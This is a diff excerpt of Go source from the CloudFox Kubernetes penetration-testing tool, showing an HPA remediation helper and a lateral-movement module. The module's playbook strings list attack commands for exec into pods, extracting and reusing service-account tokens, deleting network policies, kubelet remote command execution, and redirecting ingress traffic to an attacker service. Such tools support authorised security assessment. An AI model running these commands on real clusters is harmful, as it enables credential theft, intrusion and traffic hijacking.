lines = append(lines, "# Get HPA metrics status:")
|
||||
lines = append(lines, "kubectl get hpa -A -o wide")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "# Remediation Commands")
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Create HPA with safe limits:")
|
||||
lines = append(lines, "kubectl autoscale deployment <name> -n <namespace> --min=2 --max=10 --cpu-percent=80")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Update maxReplicas to prevent unbounded scaling:")
|
||||
lines = append(lines, "kubectl patch hpa <name> -n <namespace> -p '{\"spec\":{\"maxReplicas\":10}}'")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Set minReplicas to prevent scale-to-zero:")
|
||||
lines = append(lines, "kubectl patch hpa <name> -n <namespace> -p '{\"spec\":{\"minReplicas\":2}}'")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Delete HPA:")
|
||||
lines = append(lines, "kubectl delete hpa <name> -n <namespace>")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Add specific remediation for high-risk HPAs
|
||||
var highRiskHPAs []HPAAnalysis
|
||||
for _, hpa := range analyses {
|
||||
if hpa.UnboundedScaling || hpa.ScaleToZeroRisk || len(hpa.CustomMetrics) > 0 || len(hpa.ExternalMetrics) > 0 {
|
||||
highRiskHPAs = append(highRiskHPAs, hpa)
|
||||
}
|
||||
}
|
||||
|
||||
if len(highRiskHPAs) > 0 {
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "# Flagged HPAs - Specific Remediation")
|
||||
lines = append(lines, "# ===========================================")
|
||||
lines = append(lines, "")
|
||||
|
||||
for _, hpa := range highRiskHPAs {
|
||||
var flags []string
|
||||
if hpa.UnboundedScaling {
|
||||
flags = append(flags, "Unbounded")
|
||||
}
|
||||
if hpa.ScaleToZeroRisk {
|
||||
flags = append(flags, "Zero-Risk")
|
||||
}
|
||||
if len(hpa.CustomMetrics) > 0 {
|
||||
flags = append(flags, "Custom")
|
||||
}
|
||||
if len(hpa.ExternalMetrics) > 0 {
|
||||
flags = append(flags, "External")
|
||||
}
|
||||
|
||||
lines = append(lines, fmt.Sprintf("# %s/%s [%s]", hpa.Namespace, hpa.Name, strings.Join(flags, ", ")))
|
||||
lines = append(lines, fmt.Sprintf("# Target: %s/%s | Min: %d | Max: %d", hpa.TargetKind, hpa.TargetName, hpa.MinReplicas, hpa.MaxReplicas))
|
||||
|
||||
if hpa.UnboundedScaling {
|
||||
lines = append(lines, fmt.Sprintf("kubectl patch hpa %s -n %s -p '{\"spec\":{\"maxReplicas\":10}}'", hpa.Name, hpa.Namespace))
|
||||
}
|
||||
if hpa.ScaleToZeroRisk {
|
||||
lines = append(lines, fmt.Sprintf("kubectl patch hpa %s -n %s -p '{\"spec\":{\"minReplicas\":2}}'", hpa.Name, hpa.Namespace))
|
||||
}
|
||||
if len(hpa.CustomMetrics) > 0 || len(hpa.ExternalMetrics) > 0 {
|
||||
lines = append(lines, fmt.Sprintf("kubectl describe hpa %s -n %s # Verify metric source security", hpa.Name, hpa.Namespace))
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func generateHPATable(analyses []HPAAnalysis) internal.TableFile {
|
||||
header := []string{"Namespace", "Name", "Target", "Min", "Max", "Current", "Desired", "Metrics", "Flags"}
|
||||
var rows [][]string
|
||||
|
||||
// Sort by risk score
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].RiskScore > analyses[j].RiskScore
|
||||
})
|
||||
|
||||
for _, hpa := range analyses {
|
||||
target := fmt.Sprintf("%s/%s", hpa.TargetKind, hpa.TargetName)
|
||||
metricsStr := strings.Join(hpa.MetricTypes, ",")
|
||||
|
||||
// Build flags
|
||||
var flags []string
|
||||
if hpa.UnboundedScaling {
|
||||
flags = append(flags, "Unbounded")
|
||||
}
|
||||
if hpa.ScaleToZeroRisk {
|
||||
flags = append(flags, "Zero-Risk")
|
||||
}
|
||||
if len(hpa.CustomMetrics) > 0 {
|
||||
flags = append(flags, "Custom")
|
||||
}
|
||||
if len(hpa.ExternalMetrics) > 0 {
|
||||
flags = append(flags, "External")
|
||||
}
|
||||
flagsStr := strings.Join(flags, ",")
|
||||
|
||||
rows = append(rows, []string{
|
||||
hpa.Namespace,
|
||||
hpa.Name,
|
||||
target,
|
||||
fmt.Sprintf("%d", hpa.MinReplicas),
|
||||
fmt.Sprintf("%d", hpa.MaxReplicas),
|
||||
fmt.Sprintf("%d", hpa.CurrentReplicas),
|
||||
fmt.Sprintf("%d", hpa.DesiredReplicas),
|
||||
metricsStr,
|
||||
flagsStr,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "HPAs",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,603 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
attackpathservice "github.com/BishopFox/cloudfox/kubernetes/services/attackpathService"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var LateralMovementCmd = &cobra.Command{
|
||||
Use: "lateral-movement",
|
||||
Aliases: []string{"lm", "lateral"},
|
||||
Short: "Identify lateral movement paths in Kubernetes",
|
||||
Long: `Analyze Kubernetes RBAC and resources to identify lateral movement opportunities.
|
||||
|
||||
This module examines permissions that allow movement between pods, namespaces,
|
||||
and nodes within the cluster.
|
||||
|
||||
Detected lateral movement vectors include:
|
||||
|
||||
Pod Access:
|
||||
- Pod exec (execute commands in containers)
|
||||
- Pod attach (attach to running containers)
|
||||
- Pod port-forward (tunnel to pod ports)
|
||||
|
||||
Token/Credential Theft:
|
||||
- Secret access (SA tokens, TLS certs, credentials)
|
||||
- ServiceAccount token generation
|
||||
- ConfigMap access (often contains service credentials)
|
||||
|
||||
Service Discovery:
|
||||
- Service enumeration
|
||||
- Endpoint discovery (direct pod IP access)
|
||||
- Namespace enumeration
|
||||
|
||||
Network Access:
|
||||
- Network policy modification/deletion
|
||||
- Ingress modification (traffic redirection)
|
||||
|
||||
Node Access:
|
||||
- Kubelet API proxy access
|
||||
- Node proxy access
|
||||
|
||||
Usage:
|
||||
cloudfox kubernetes lateral-movement`,
|
||||
Run: runLateralMovementCommand,
|
||||
}
|
||||
|
||||
type LateralMovementOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o LateralMovementOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o LateralMovementOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
type LateralMovementModule struct {
|
||||
// All paths from combined analysis
|
||||
AllPaths []attackpathservice.AttackPath
|
||||
ClusterPaths []attackpathservice.AttackPath
|
||||
NamespacePaths map[string][]attackpathservice.AttackPath
|
||||
Namespaces []string
|
||||
}
|
||||
|
||||
func runLateralMovementCommand(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
// Validate authentication first
|
||||
if err := sdk.ValidateAuth(ctx); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Authentication failed:\n%v", err), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing lateral movement paths for %s", globals.ClusterName), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
|
||||
// Initialize attack path service
|
||||
svc, err := attackpathservice.New()
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to initialize attack path service: %v", err), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
svc.SetModuleName(globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
|
||||
// Run analysis
|
||||
result, err := svc.CombinedAnalysis(ctx, "lateral")
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to analyze lateral movement: %v", err), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
module := &LateralMovementModule{
|
||||
AllPaths: result.AllPaths,
|
||||
ClusterPaths: result.ClusterPaths,
|
||||
NamespacePaths: result.NamespacePaths,
|
||||
Namespaces: result.Namespaces,
|
||||
}
|
||||
|
||||
if len(module.AllPaths) == 0 {
|
||||
logger.InfoM("No lateral movement paths found", globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by scope and risk
|
||||
clusterCount := len(module.ClusterPaths)
|
||||
namespaceCount := len(module.AllPaths) - clusterCount
|
||||
riskCounts := countLateralRiskLevels(module.AllPaths)
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d lateral movement path(s): %d cluster-level, %d namespace-level",
|
||||
len(module.AllPaths), clusterCount, namespaceCount), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
logger.InfoM(fmt.Sprintf("Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
|
||||
// Generate output
|
||||
tables := module.buildLateralTables()
|
||||
loot := module.generateLateralLoot()
|
||||
|
||||
output := LateralMovementOutput{
|
||||
Table: tables,
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Lateral-Movement",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_LATERAL_MOVEMENT_MODULE_NAME), globals.K8S_LATERAL_MOVEMENT_MODULE_NAME)
|
||||
}
|
||||
|
||||
func (m *LateralMovementModule) buildLateralTables() []internal.TableFile {
|
||||
headers := []string{
|
||||
"Principal",
|
||||
"Principal Type",
|
||||
"Source",
|
||||
"Scope",
|
||||
"Role",
|
||||
"Role Binding",
|
||||
"Method",
|
||||
"Target Resource",
|
||||
"Permissions",
|
||||
"Description",
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
|
||||
for _, path := range m.AllPaths {
|
||||
scope := path.ScopeName
|
||||
if path.ScopeType == "cluster" {
|
||||
scope = "cluster-wide"
|
||||
}
|
||||
source := path.SourceType
|
||||
if source == "" {
|
||||
source = "core"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
path.Principal,
|
||||
path.PrincipalType,
|
||||
source,
|
||||
scope,
|
||||
path.RoleName,
|
||||
path.BindingName,
|
||||
path.Method,
|
||||
path.TargetResource,
|
||||
strings.Join(path.Permissions, ", "),
|
||||
path.Description,
|
||||
})
|
||||
}
|
||||
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "LateralMovement",
|
||||
Header: headers,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *LateralMovementModule) generateLateralLoot() []internal.LootFile {
|
||||
var lootContent []string
|
||||
|
||||
lootContent = append(lootContent, "# ===========================================")
|
||||
lootContent = append(lootContent, "# Lateral Movement Commands")
|
||||
lootContent = append(lootContent, "# ===========================================")
|
||||
|
||||
// Section: Pod Access
|
||||
podAccessPaths := filterByCategory(m.AllPaths, "Pod Access")
|
||||
if len(podAccessPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
lootContent = append(lootContent, "# POD ACCESS - Execute/attach to containers")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
for _, path := range podAccessPaths {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s (%s) - %s via %s", path.Principal, path.PrincipalType, path.ScopeName, path.RoleName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Token/Credential Theft
|
||||
tokenPaths := filterByCategory(m.AllPaths, "Token Theft")
|
||||
if len(tokenPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
lootContent = append(lootContent, "# TOKEN THEFT - Steal SA tokens and credentials")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
for _, path := range tokenPaths {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s (%s) - %s via %s", path.Principal, path.PrincipalType, path.ScopeName, path.RoleName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Service Discovery
|
||||
discoveryPaths := filterByMultipleCategories(m.AllPaths, []string{"Service Discovery", "Namespace Discovery", "Pod Discovery"})
|
||||
if len(discoveryPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
lootContent = append(lootContent, "# SERVICE DISCOVERY - Find lateral movement targets")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
for _, path := range discoveryPaths {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Network Access
|
||||
networkPaths := filterByCategory(m.AllPaths, "Network")
|
||||
if len(networkPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
lootContent = append(lootContent, "# NETWORK - Bypass network policies")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
for _, path := range networkPaths {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s", path.Description))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Node Access
|
||||
nodePaths := filterByCategory(m.AllPaths, "Node Access")
|
||||
if len(nodePaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
lootContent = append(lootContent, "# NODE ACCESS - Access kubelet and node resources")
|
||||
lootContent = append(lootContent, "# -------------------------------------------")
|
||||
for _, path := range nodePaths {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, fmt.Sprintf("# %s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
}
|
||||
}
|
||||
|
||||
// Build playbook content using centralized attackpathService function
|
||||
clusterHeader := fmt.Sprintf("Cluster: %s", globals.ClusterName)
|
||||
playbookContent := attackpathservice.GenerateLateralPlaybook(m.AllPaths, clusterHeader)
|
||||
|
||||
// Fallback to legacy playbook if centralized returns empty
|
||||
if playbookContent == "" {
|
||||
methodGroups := groupLateralByMethod(m.AllPaths)
|
||||
playbookContent = m.generateLateralPlaybook(methodGroups)
|
||||
}
|
||||
|
||||
return []internal.LootFile{
|
||||
{
|
||||
Name: "LateralMovement-Commands",
|
||||
Contents: strings.Join(lootContent, "\n"),
|
||||
},
|
||||
{
|
||||
Name: "LateralMovement-Playbook",
|
||||
Contents: playbookContent,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// generateLateralPlaybook creates a reference-style guide for lateral movement organized by technique
|
||||
func (m *LateralMovementModule) generateLateralPlaybook(methodGroups map[string][]attackpathservice.AttackPath) string {
|
||||
var content []string
|
||||
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "##### Lateral Movement Playbook")
|
||||
content = append(content, "##### Reference Guide by Technique")
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "")
|
||||
|
||||
// Pod Access (Exec/Attach/Port-Forward)
|
||||
content = append(content, `
|
||||
##############################################
|
||||
## POD ACCESS
|
||||
##############################################
|
||||
# Execute commands, attach to containers, port-forward to services`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Pod Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with pod access permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Find all pods and their service accounts:
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,IP:.status.podIP'
|
||||
|
||||
# Exec into a pod:
|
||||
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
|
||||
|
||||
# Exec with specific container (for multi-container pods):
|
||||
kubectl exec -it POD_NAME -n NAMESPACE -c CONTAINER_NAME -- /bin/sh
|
||||
|
||||
# Attach to a running container:
|
||||
kubectl attach -it POD_NAME -n NAMESPACE
|
||||
|
||||
# Port-forward to access internal services:
|
||||
kubectl port-forward POD_NAME 8080:80 -n NAMESPACE
|
||||
kubectl port-forward svc/SERVICE_NAME 8080:80 -n NAMESPACE
|
||||
|
||||
# From inside a compromised pod, pivot to other pods:
|
||||
# 1. Find other pods: curl -s $KUBERNETES_SERVICE_HOST/api/v1/pods -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -k
|
||||
# 2. Access via service DNS: curl http://SERVICE_NAME.NAMESPACE.svc.cluster.local`)
|
||||
|
||||
// Token Theft
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## TOKEN/CREDENTIAL THEFT
|
||||
##############################################
|
||||
# Steal SA tokens from secrets for lateral movement`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Token Theft"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with token theft permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# List SA token secrets:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name) -> SA: \(.metadata.annotations["kubernetes.io/service-account.name"])"'
|
||||
|
||||
# Extract token from secret:
|
||||
kubectl get secret SA_TOKEN_SECRET -n NAMESPACE -o jsonpath='{.data.token}' | base64 -d
|
||||
|
||||
# Find high-privilege service accounts:
|
||||
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]? | select(.kind=="ServiceAccount") | "\(.namespace)/\(.name)"'
|
||||
|
||||
# Use stolen token:
|
||||
TOKEN="eyJhbG..."
|
||||
kubectl --token="$TOKEN" auth can-i --list
|
||||
kubectl --token="$TOKEN" get secrets -A
|
||||
|
||||
# From inside a pod, use another pod's token:
|
||||
# If you can read secrets, get token and use it to pivot`)
|
||||
|
||||
// Service/Endpoint Discovery
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## SERVICE DISCOVERY
|
||||
##############################################
|
||||
# Discover services, endpoints, and pods for targeting`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Service Discovery", "Namespace Discovery", "Pod Discovery"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with discovery permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all namespaces:
|
||||
kubectl get namespaces
|
||||
|
||||
# List all services:
|
||||
kubectl get services -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORTS:.spec.ports[*].port'
|
||||
|
||||
# Get endpoints (direct pod IPs):
|
||||
kubectl get endpoints -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,ENDPOINTS:.subsets[*].addresses[*].ip'
|
||||
|
||||
# Find databases and sensitive services:
|
||||
kubectl get services -A | grep -iE '(mysql|postgres|redis|mongo|elastic|kafka|rabbitmq|vault)'
|
||||
|
||||
# DNS enumeration from inside cluster:
|
||||
# nslookup kubernetes.default.svc.cluster.local
|
||||
# nslookup SERVICE_NAME.NAMESPACE.svc.cluster.local
|
||||
|
||||
# Direct pod-to-pod access (bypass services):
|
||||
# curl http://POD_IP:PORT`)
|
||||
|
||||
// Config Access
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CONFIG ACCESS
|
||||
##############################################
|
||||
# Read configmaps for service URLs and credentials`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Config Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with config access permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Find configmaps with connection strings:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'
|
||||
|
||||
# Search for service URLs in configmaps:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value)"' | grep -iE '(http|https|jdbc|redis|mongo|amqp)://'
|
||||
|
||||
# Extract specific configmap:
|
||||
kubectl get configmap CONFIG_NAME -n NAMESPACE -o yaml`)
|
||||
|
||||
// Network Policy Bypass
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## NETWORK POLICY BYPASS
|
||||
##############################################
|
||||
# Delete or modify network policies to enable lateral movement`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Network", "CRD Policy Bypass"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with network policy permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# List network policies:
|
||||
kubectl get networkpolicies -A
|
||||
|
||||
# View network policy details:
|
||||
kubectl get networkpolicy POLICY_NAME -n NAMESPACE -o yaml
|
||||
|
||||
# Delete network policy to remove restrictions:
|
||||
kubectl delete networkpolicy POLICY_NAME -n NAMESPACE
|
||||
|
||||
# Modify network policy to allow all ingress:
|
||||
kubectl patch networkpolicy POLICY_NAME -n NAMESPACE --type=json -p='[{"op":"replace","path":"/spec/ingress","value":[{}]}]'
|
||||
|
||||
# Modify to allow all egress:
|
||||
kubectl patch networkpolicy POLICY_NAME -n NAMESPACE --type=json -p='[{"op":"replace","path":"/spec/egress","value":[{}]}]'
|
||||
|
||||
# Cilium/Calico/Istio network policies:
|
||||
kubectl get ciliumnetworkpolicies -A 2>/dev/null
|
||||
kubectl get networkpolicies.crd.projectcalico.org -A 2>/dev/null
|
||||
kubectl get authorizationpolicies.security.istio.io -A 2>/dev/null`)
|
||||
|
||||
// Node Access
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## NODE ACCESS
|
||||
##############################################
|
||||
# Access kubelet API for node-level lateral movement`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Node Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with node access permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# List nodes:
|
||||
kubectl get nodes -o wide
|
||||
|
||||
# Proxy to kubelet API (list pods):
|
||||
kubectl get --raw "/api/v1/nodes/NODE_NAME/proxy/pods"
|
||||
|
||||
# Access kubelet metrics:
|
||||
kubectl get --raw "/api/v1/nodes/NODE_NAME/proxy/metrics"
|
||||
|
||||
# Direct kubelet access (if you have network access to node):
|
||||
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
||||
curl -sk -H "Authorization: Bearer $TOKEN" https://NODE_IP:10250/pods
|
||||
|
||||
# Kubelet exec (RCE on any pod on the node):
|
||||
curl -sk -H "Authorization: Bearer $TOKEN" \
|
||||
"https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER" \
|
||||
-d "cmd=id"`)
|
||||
|
||||
// Ingress Manipulation
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## INGRESS MANIPULATION
|
||||
##############################################
|
||||
# Modify ingress to redirect traffic for MITM`)
|
||||
if entities := getLateralEntitiesForMethods(methodGroups, "Ingress"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with ingress permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# List ingresses:
|
||||
kubectl get ingress -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,HOSTS:.spec.rules[*].host,PATHS:.spec.rules[*].http.paths[*].path'
|
||||
|
||||
# Modify ingress to redirect to attacker service:
|
||||
kubectl patch ingress INGRESS_NAME -n NAMESPACE --type=json \
|
||||
-p='[{"op":"replace","path":"/spec/rules/0/http/paths/0/backend/service/name","value":"attacker-svc"}]'
|
||||
|
||||
# Add new path that routes to attacker:
|
||||
kubectl patch ingress INGRESS_NAME -n NAMESPACE --type=json \
|
||||
-p='[{"op":"add","path":"/spec/rules/0/http/paths/-","value":{"path":"/evil","pathType":"Prefix","backend":{"service":{"name":"attacker-svc","port":{"number":80}}}}}]'`)
|
||||
|
||||
return strings.Join(content, "\n")
|
||||
}
|
||||
|
||||
// groupLateralByMethod groups paths by their Method field
|
||||
func groupLateralByMethod(paths []attackpathservice.AttackPath) map[string][]attackpathservice.AttackPath {
|
||||
groups := make(map[string][]attackpathservice.AttackPath)
|
||||
for _, path := range paths {
|
||||
groups[path.Method] = append(groups[path.Method], path)
|
||||
}
|
||||
return groups
|
||||
}
|
||||
|
||||
// getLateralEntitiesForMethods returns unique entities that have any of the specified methods
|
||||
func getLateralEntitiesForMethods(methodGroups map[string][]attackpathservice.AttackPath, methods ...string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var entities []string
|
||||
|
||||
for _, method := range methods {
|
||||
if paths, ok := methodGroups[method]; ok {
|
||||
for _, path := range paths {
|
||||
key := fmt.Sprintf("%s:%s", path.PrincipalType, path.Principal)
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
entities = append(entities, fmt.Sprintf("%s (%s) - %s", path.Principal, path.PrincipalType, path.ScopeName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return entities
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
func countLateralRiskLevels(paths []attackpathservice.AttackPath) *shared.RiskCounts {
|
||||
counts := shared.NewRiskCounts()
|
||||
for _, path := range paths {
|
||||
counts.Add(path.RiskLevel)
|
||||
}
|
||||
return counts
|
||||
}
|
||||
|
||||
func filterByCategory(paths []attackpathservice.AttackPath, category string) []attackpathservice.AttackPath {
|
||||
var filtered []attackpathservice.AttackPath
|
||||
for _, path := range paths {
|
||||
if path.Category == category {
|
||||
filtered = append(filtered, path)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
func filterByMultipleCategories(paths []attackpathservice.AttackPath, categories []string) []attackpathservice.AttackPath {
|
||||
categorySet := make(map[string]bool)
|
||||
for _, c := range categories {
|
||||
categorySet[c] = true
|
||||
}
|
||||
|
||||
var filtered []attackpathservice.AttackPath
|
||||
for _, path := range paths {
|
||||
if categorySet[path.Category] {
|
||||
filtered = append(filtered, path)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,652 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
